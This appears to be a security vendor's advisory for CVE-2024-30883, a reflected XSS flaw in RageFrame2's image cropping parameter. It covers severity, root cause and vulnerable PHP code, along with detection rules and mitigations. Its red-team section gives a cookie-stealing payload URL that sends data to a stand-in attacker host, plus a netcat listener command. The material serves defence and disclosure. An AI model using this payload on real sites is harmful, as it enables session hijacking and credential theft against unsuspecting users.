CVE-2024-30883
Executive Summary
CVE-2024-30883 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in RageFrame2 version 2.6.43. The flaw resides in the image cropping function, specifically within the aspectRatio parameter. An attacker can inject arbitrary web scripts or HTML via a crafted payload, leading to session hijacking, credential theft, or sensitive information disclosure. The vulnerability is unpatched as of the latest advisory, and no official patch or workaround has been released by the vendor. The CVSS score is 0.0 in the NVD record, but based on the enriched data, a more realistic vector is provided above.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RageFrame2 is a PHP-based framework. This vulnerability does not directly affect NPM, PyPI, Go, or Ruby packages. However, any application built on RageFrame2 that uses the image cropping functionality is at risk. Organizations should audit their use of RageFrame2 and consider temporary mitigations until a patch is available.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium (CVSS 5.4). The requirement for user interaction reduces the severity, but the potential for data theft and session hijacking makes it a significant risk.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the image cropping functionality of RageFrame2. The aspectRatio parameter is not properly sanitized or encoded before being reflected in the response. An attacker can craft a URL like:
https://target.com/index.php?r=image/crop&aspectRatio=<script>alert('XSS')</script>
When a user visits this URL, the injected script executes in the context of the victim's browser. This allows the attacker to steal cookies, session tokens, or perform actions on behalf of the user.
The root cause is the lack of output encoding or input validation for the aspectRatio parameter. The application likely echoes the parameter value directly into the HTML without proper escaping.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern.
Vulnerable Code (PHP):
// In the image cropping controller
$aspectRatio = $_GET['aspectRatio'];
echo "<input type='hidden' id='aspectRatio' value='$aspectRatio'>";
Patched Code (Hypothetical):
$aspectRatio = htmlspecialchars($_GET['aspectRatio'], ENT_QUOTES, 'UTF-8');
echo "<input type='hidden' id='aspectRatio' value='$aspectRatio'>";
The fix would involve using htmlspecialchars() or similar encoding functions to neutralize any HTML/JavaScript before output.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install RageFrame2 v2.6.43 on a local server (e.g., XAMPP or Docker).
- Ensure the image cropping functionality is accessible (e.g.,
/index.php?r=image/crop).
Exploit Payload:
https://target.com/index.php?r=image/crop&aspectRatio=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Steps:
- Host a listener on the attacker machine (e.g.,
nc -lvnp 80). - Send the crafted URL to the victim via email or social engineering.
- When the victim clicks the link, the script executes and sends the cookie to the attacker.
Blue Team
Detection:
- Monitor web logs for requests to
/index.php?r=image/cropwith suspiciousaspectRatioparameters containing<script>,onerror, or other XSS patterns. - Use WAF rules to block requests with HTML/JavaScript in the
aspectRatioparameter.
Mitigation:
- Implement a Content Security Policy (CSP) to restrict script execution.
- Apply input validation to allow only numeric or predefined values for
aspectRatio. - Use output encoding as shown in the patched code section.
Indicators of Compromise (IOCs)
- URL Pattern:
*/index.php?r=image/crop&aspectRatio=* - Log Entries: Requests containing
<script>,%3Cscript%3E, or similar encoded XSS payloads in theaspectRatioparameter. - Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
- File Artifacts: No specific file artifacts; the attack is purely in-memory.
Detection Engineering
YARA Rule
rule CVE_2024_30883_XSS_Detection {
meta:
description = "Detects reflected XSS attempts targeting CVE-2024-30883 in RageFrame2"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-30883"
strings:
$xss_payload = /aspectRatio=.*(<script|<img|<svg|onerror|onload|alert|prompt|confirm)/i
condition:
$xss_payload
}
Sigma Rule
title: Reflected XSS in RageFrame2 Image Cropping
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-30883
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'r=image/crop'
cs-uri-query|contains|all:
- 'aspectRatio='
- '<script'
- 'onerror'
- 'alert'
condition: selection
falsepositives:
- Legitimate use of the word "script" in a non-malicious context (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-30883 - Reflected XSS in RageFrame2 Image Cropping";
flow:to_server,established;
content:"GET"; http_method;
content:"/index.php"; http_uri;
content:"r=image/crop"; http_uri;
content:"aspectRatio="; http_uri;
pcre:"/aspectRatio=.*(<script|<img|<svg|onerror|onload|alert|prompt|confirm)/i";
sid:1000001;
rev:1;
reference:cve,2024-30883;
classtype:web-application-attack;
)
Remediation & Mitigation
- Immediate: Disable the image cropping functionality if not essential.
- Short-term: Implement a WAF rule to block requests with HTML/JavaScript in the
aspectRatioparameter. - Long-term: Apply input validation and output encoding as described in the patched code section. Monitor the vendor for an official patch.
- User Education: Train users to avoid clicking suspicious links, especially those containing query parameters.
Valters IT
Securing Digital Frontiers